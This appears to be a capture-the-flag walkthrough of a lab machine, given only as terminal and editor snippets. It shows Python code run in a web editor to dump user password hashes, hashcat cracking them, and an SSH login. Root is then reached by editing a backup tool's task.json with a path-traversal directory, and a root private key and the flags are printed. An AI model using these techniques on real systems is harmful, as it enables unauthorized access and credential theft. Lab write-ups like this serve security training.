```
❯ cat target -l python
File: target

# Nmap 7.95 scan initiated Fri Mar 28 10:07:06 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p
Nmap scan report for 10.10.11.62
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 28 10:07:16 2025 -- 1 IP address (1 host up) scanned in 10.44 seconds
```

```
Run  Save

1 print(globals())

{'__name__': 'app', '__doc__': None, '__package__': '', '__
<_frozen_importlib_external.SourceFileLoader object at 0x7f
ModuleSpec(name='app', loader=<_frozen_importlib_external.S
0x7f9b059ea6a0>, origin='/home/app-production/app/app.py'),
app.py', '__cached__': '/home/app-production/app/__pycache_
{'__name__': 'builtins', '__doc__': "Built-in functions, ex
\n\nNoteworthy: None is the `nil' object; Ellipsis represen
'', '__loader__': <class '_frozen_importlib.BuiltinImporter
ModuleSpec(name='builtins', loader=<class '_frozen_importli
'__build_class__': <built-in function __build_class__>, '__
__import__>, 'abs': <built-in function abs>, 'all': <built-
function any>, 'ascii': <built-in function ascii>, 'bin': <
<built-in function breakpoint>, 'callable': <built-in funct
function chr>, 'compile': <built-in function compile>, 'del
'dir': <built-in function dir>, 'divmod': <built-in functio
eval>, 'exec': <built-in function exec>, 'format': <built-i
in function getattr>, 'globals': <built-in function globals
hasattr>, 'hash': <built-in function hash>, 'hex': <built-i
function id>, 'input': <built-in function input>, 'isinstan
'issubclass': <built-in function issubclass>, 'iter': <buil
function len>, 'locals': <built-in function locals>, 'max':
<built-in function min>, 'next': <built-in function next>,
<built-in function ord>, 'pow': <built-in function pow>, 'p
'repr': <built-in function repr>, 'round': <built-in functi
function setattr>, 'sorted': <built-in function sorted>, 's
<built-in function vars>, 'None': None, 'Ellipsis': Ellipsi
'False': False, 'True': True, 'bool': <class 'bool'>, 'memo
'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>,
'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enum
<class 'filter'>, 'float': <class 'float'>, 'frozenset': <
'property'>, 'int': <class 'int'>, 'list': <class 'list'>,
'object'>, 'range': <class 'range'>, 'reversed': <class 're
'slice': <class 'slice'>, 'staticmethod': <class 'staticmet
<class 'super'>, 'tuple': <class 'tuple'>, 'type': <class '
'__debug__': True, 'BaseException': <class 'BaseException'>
'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <cl
```

```
Run  Save

1 print([user.username for user in User.query.all()])

['development', 'martin', 'mariogiordano']
```

```
Run  Save

1 print([(user.username,user.password) for user in User.query.all()])

[('development', '759b74ce43947f5f4c91aeddc3e5bad3'), ('martin',
'3de6f30c4a09c27fc71932bfc68474be')]
```

```
❯ nano hash
❯ cat hash
File: hash

759b74ce43947f5f4c91aeddc3e5bad3
3de6f30c4a09c27fc71932bfc68474be
```

```
❯ hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
```

```
❯ hashcat -m 0 --show hash
759b74ce43947f5f4c91aeddc3e5bad3:development
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
```

```
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
❯ ssh martin@10.10.11.62
```

```
martin@code:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
```

```
martin@code:~/backups$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
```

```
martin@code:~/backups$ ls -kla
total 20
drwxr-xr-x 2 martin martin 4096 Mar 28 10:15 .
drwxr-x--- 6 martin martin 4096 Mar 28 10:19 ..
-rw-r--r-- 1 martin martin 5879 Mar 28 10:15 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin  181 Mar 28 10:15 task.json
martin@code:~/backups$ cat task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}
```

```
martin@code:~/backups$ sudo /usr/bin/backy.sh
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
Usage: /usr/bin/backy.sh <task.json>
```

```
martin@code:~/backups$ ls -la
total 20
drwxr-xr-x 2 martin martin 4096 Mar 28 10:20 .
drwxr-x--- 6 martin martin 4096 Mar 28 10:20 ..
-rw-r--r-- 1 martin martin 5879 Mar 28 10:20 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin  181 Mar 28 10:20 task.json
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/03/28 10:21:50 🍀 backy 1.2
2025/03/28 10:21:50 📋 Working with task.json ...
2025/03/28 10:21:50 💤 Nothing to sync
2025/03/28 10:21:50 📤 Archiving: [/home/app-production/app]
2025/03/28 10:21:50 📤 To: /home/martin/backups ...
2025/03/28 10:21:50 📦
```

```
  GNU nano 4.8
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}
```

```
  GNU nano 4.8
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/"
        ],

        "exclude": [
                ".*"
        ]
}
```

```
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/03/28 10:31:12 🍀 backy 1.2
2025/03/28 10:31:12 📋 Working with task.json ...
2025/03/28 10:31:12 💤 Nothing to sync
2025/03/28 10:31:12 📤 Archiving: [/home]
2025/03/28 10:31:12 📤 To: /home/martin/backups ...
2025/03/28 10:31:12 📦
martin@code:~/backups$ ls -la
total 36
drwxr-xr-x 2 martin martin  4096 Mar 28 10:31 .
drwxr-x--- 6 martin martin  4096 Mar 28 10:30 ..
-rw-r--r-- 1 root   root   16150 Mar 28 10:31 code_home_2025_March.tar.bz2
-rw-r--r-- 1 martin martin  5879 Mar 28 10:30 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin   173 Mar 28 10:31 task.json
```

```
martin@code:~/backups$ bzip2 -d code_home_2025_March.tar.bz2
martin@code:~/backups$ ls -la
total 92
drwxr-xr-x 2 martin martin  4096 Mar 28 10:32 .
drwxr-x--- 6 martin martin  4096 Mar 28 10:30 ..
-rw-r--r-- 1 martin martin 71680 Mar 28 10:31 code_home_2025_March.tar
-rw-r--r-- 1 martin martin  5879 Mar 28 10:30 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin   173 Mar 28 10:31 task.json
```

```
martin@code:~/backups$ tar -xf code_home_2025_March.tar
martin@code:~/backups$ ls -la
total 96
drwxr-xr-x 3 martin martin  4096 Mar 28 10:33 .
drwxr-x--- 6 martin martin  4096 Mar 28 10:30 ..
-rw-r--r-- 1 martin martin 71680 Mar 28 10:31 code_home_2025_March.tar
-rw-r--r-- 1 martin martin  5879 Mar 28 10:30 code_home_app-production_app_2024_August.tar.bz2
drwxr-xr-x 4 martin martin  4096 Aug 27  2024 home
-rw-r--r-- 1 martin martin   173 Mar 28 10:31 task.json
```

```
martin@code:~/backups$ cd home
martin@code:~/backups/home$ ls -la
total 16
drwxr-xr-x 4 martin martin 4096 Aug 27  2024 .
drwxr-xr-x 3 martin martin 4096 Mar 28 10:33 ..
drwxr-x--- 3 martin martin 4096 Sep 16  2024 app-production
drwxr-x--- 3 martin martin 4096 Mar 28 10:30 martin
martin@code:~/backups/home$ cd app-production/
martin@code:~/backups/home/app-production$ ls -la
total 16
drwxr-x--- 3 martin martin 4096 Sep 16  2024 .
drwxr-xr-x 4 martin martin 4096 Aug 27  2024 ..
drwxrwxr-x 6 martin martin 4096 Mar 28 09:55 app
-rw-r----- 1 martin martin   33 Mar 28 08:37 user.txt
martin@code:~/backups/home/app-production$ cat user.txt
fb9491a5da1abd2f3743c3751ff7c2d3
```

```
  GNU nano 4.8
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/var/..../root/"
        ]
}
```

```
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/03/28 10:57:49 🍀 backy 1.2
2025/03/28 10:57:49 📋 Working with task.json ...
2025/03/28 10:57:49 💤 Nothing to sync
2025/03/28 10:57:49 📤 Archiving: [/var/../root]
2025/03/28 10:57:49 📤 To: /home/martin/backups ...
2025/03/28 10:57:49 📦
martin@code:~/backups$ ls -la
total 44
drwxr-xr-x 3 martin martin  4096 Mar 28 10:57 .
drwxr-x--- 7 martin martin  4096 Mar 28 10:57 ..
-rw-r--r-- 1 martin martin  5879 Mar 28 10:55 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root   18618 Mar 28 10:57 code_var_..._root_2025_March.tar.bz2
drwxr-xr-x 3 martin martin  4096 Mar 28 10:55 home
-rw-r--r-- 1 martin martin   151 Mar 28 10:57 task.json
martin@code:~/backups$ tar -xjf code_var_..._root_2025_March.tar.bz2
martin@code:~/backups$ ls -la
total 48
drwxr-xr-x 4 martin martin  4096 Mar 28 10:58 .
drwxr-x--- 7 martin martin  4096 Mar 28 10:58 ..
-rw-r--r-- 1 martin martin  5879 Mar 28 10:55 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root   18618 Mar 28 10:57 code_var_..._root_2025_March.tar.bz2
drwxr-xr-x 3 martin martin  4096 Mar 28 10:55 home
drwx------ 6 martin martin  4096 Mar 28 08:37 root
-rw-r--r-- 1 martin martin   151 Mar 28 10:57 task.json
martin@code:~/backups$ cd root
martin@code:~/backups/root$ cat root.txt
b919819f02cb06f2d1dca4e4ab5973d6
```

```
martin@code:~/backups/root$ cd .ssh
martin@code:~/backups/root/.ssh$ ls -la
total 16
drwx------ 2 martin martin 4096 Aug 27  2024 .
drwx------ 6 martin martin 4096 Mar 28 08:37 ..
-rw-r--r-- 1 martin martin  563 Aug 27  2024 authorized_keys
-rw------- 1 martin martin 2590 Aug 27  2024 id_rsa
martin@code:~/backups/root/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/E/D3RVElqOCSPDFmpevzr
zuhAs9F6VAjLGhHi6eHrA6gh/gQvfhoS9AO7H7cawVSdPhgw2WMCzHJUWfebN
CLpNbFZht07eaMmGbSy6cKKjnFO1zjgzSduGRFAGWI+eBoFiV4p2+0aJw8lvU
 root@code
```

```
martin@code:~/backups/root/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
```

```
❯ nano id_rsa
```

```
❯ chmod 600 id_rsa
```

```
❯ ssh -i id_rsa root@10.10.11.62
```

```
root@code:~# whoami
root
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)
```